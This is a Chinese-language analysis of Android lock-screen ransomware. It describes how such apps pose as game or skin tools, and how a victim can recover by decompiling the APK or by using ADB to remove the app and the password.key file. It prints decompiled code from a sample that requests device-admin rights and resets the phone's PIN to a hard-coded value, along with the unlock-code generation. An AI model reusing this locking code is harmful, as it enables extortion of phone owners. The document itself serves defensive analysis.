锁机病毒小结

锁机勒索病毒主要特征：

1、假冒成各种刷砖、刷人气、刷皮肤等应用，要求激活设备管理器甚至授予root权限。

2、病毒发作后，留下制毒者的联系方式，勒索钱财。

锁机勒索病毒主要代码：

1、激活设备管理器

private void activiteDevice() {
        Class v8;
        M v0 = this;
        Intent v1 = new Intent("android.app.action.ADD_DEVICE_ADMIN");
        ComponentName v5 = null;
        ComponentName v6 = null;
        M v7 = v0;
        try {
            v8 = Class.forName("com.cjk.MyAdmin");
        }
        catch(ClassNotFoundException v5_1) {
            throw new NoClassDefFoundError(v5_1.getMessage());
        }

        super(((Context)v7), v8);
        v1.putExtra("android.app.extra.DEVICE_ADMIN", ((Parcelable)v5));
        v0.startActivityForResult(v1, 0);
    }

    @Override public void onCreate(Bundle arg6) {
        LogCatBroadcaster.start(this);
        super.onCreate(arg6);
        this.activiteDevice();
    }

2、设置PIN码密码

public class MyAdmin extends DeviceAdminReceiver {
    public MyAdmin() {
        super();
    }

    @Override public CharSequence onDisableRequested(Context arg10, Intent arg11) {
        String v4 = Integer.toString(5406);
        this.getManager(arg10).lockNow();
        this.getManager(arg10).resetPassword(v4, 0);
        return super.onDisableRequested(arg10, arg11);
    }

    @Override public void onEnabled(Context arg17, Intent arg18) {
        Class v11;
        MyAdmin v0 = this;
        Context v1 = arg17;
        Intent v2 = arg18;
        String v4 = Integer.toString(5406);
        Intent v8 = null;
        Intent v9 = null;
        Context v10 = v1;
        try {
            v11 = Class.forName("com.cjk.s");
        }
        catch(ClassNotFoundException v8_1) {
            throw new NoClassDefFoundError(v8_1.getMessage());
        }

        super(v10, v11);
        v8.setFlags(268435456);
        v1.startService(v8);
        v0.getManager(v1).resetPassword(v4, 0);
        super.onEnabled(v1, v2);
    }

    @Override public void onPasswordChanged(Context arg10, Intent arg11) {
        String v4 = Integer.toString(5406);
        this.getManager(arg10).lockNow();
        this.getManager(arg10).resetPassword(v4, 0);
        super.onPasswordChanged(arg10, arg11);
    }

    @Override public void onReceive(Context arg8, Intent arg9) {
        Log.i("------", "onReceive-----");
        super.onReceive(arg8, arg9);
    }
}

3、生成序列号

@Override public void onCreate() {
        s v0 = this;
        ADRTLogCatReader.onContext(v0, "com.aide.ui");
        super.onCreate();
        v0.pass = ((long)(Math.random() * (((double)100000000))));
        v0.passw = new Long(v0.pass + (((long)520)));
        v0.des = new DU("flower");
        s v4 = v0;
        try {
            v4.des = new DU(v0.des.decrypt("c29fe56fa59ab0db"));
        }
        catch(Exception v4_1) {
        }

        v0.share = v0.getSharedPreferences("Flowers", 0);
        v0.editor = v0.share.edit();
        if(v0.share.getLong("m", ((long)0)) == (((long)0))) {
            v0.editor.putLong("m", v0.pass);
            v0.editor.commit();
            v4 = v0;
            try {
                v4.editor.putString("passw", v0.des.encrypt(new StringBuffer().append("").append(v0.
                        passw).toString()));
                v0.editor.commit();
            }
            catch(Exception v4_1) {
            }

            if(v0.is(v0.getApplicationContext())) {
                v0.ppss = new StringBuffer().append(v0.share.getLong("m", ((long)8))).append("").toString();
                v4 = v0;
                s v5 = v0;
                try {
                    v4.password = v5.des.decrypt(v0.share.getString("passw", ""));
                }
                catch(Exception v4_1) {
                }

                new 100000000(v0).start();
                return;
            }

            v4 = v0;
            try {
                v4.editor.putLong("m", Long.parseLong(v0.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
                v0.editor.commit();
                v0.editor.putString("passw", "e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c");
                v0.editor.commit();
            }
            catch(Exception v4_1) {
            }
        }
    }

锁屏勒索病毒的应对方法：

1、反编译APK，找出关键代码，得到相应的计算公式，输入正确的密码后取消激活设备管理器，卸载应用。

2、对于加壳类的锁机勒索软件，暂时没有什么应对方法，一般都是手机预先开启USB调试，使用ADB命令冻结应用，然后卸载应用，删除/data/system文件夹下的password.key文件

如果碰到该类锁机病毒，可以将病毒样本包发送到我的工作邮箱：[email protected]

谢谢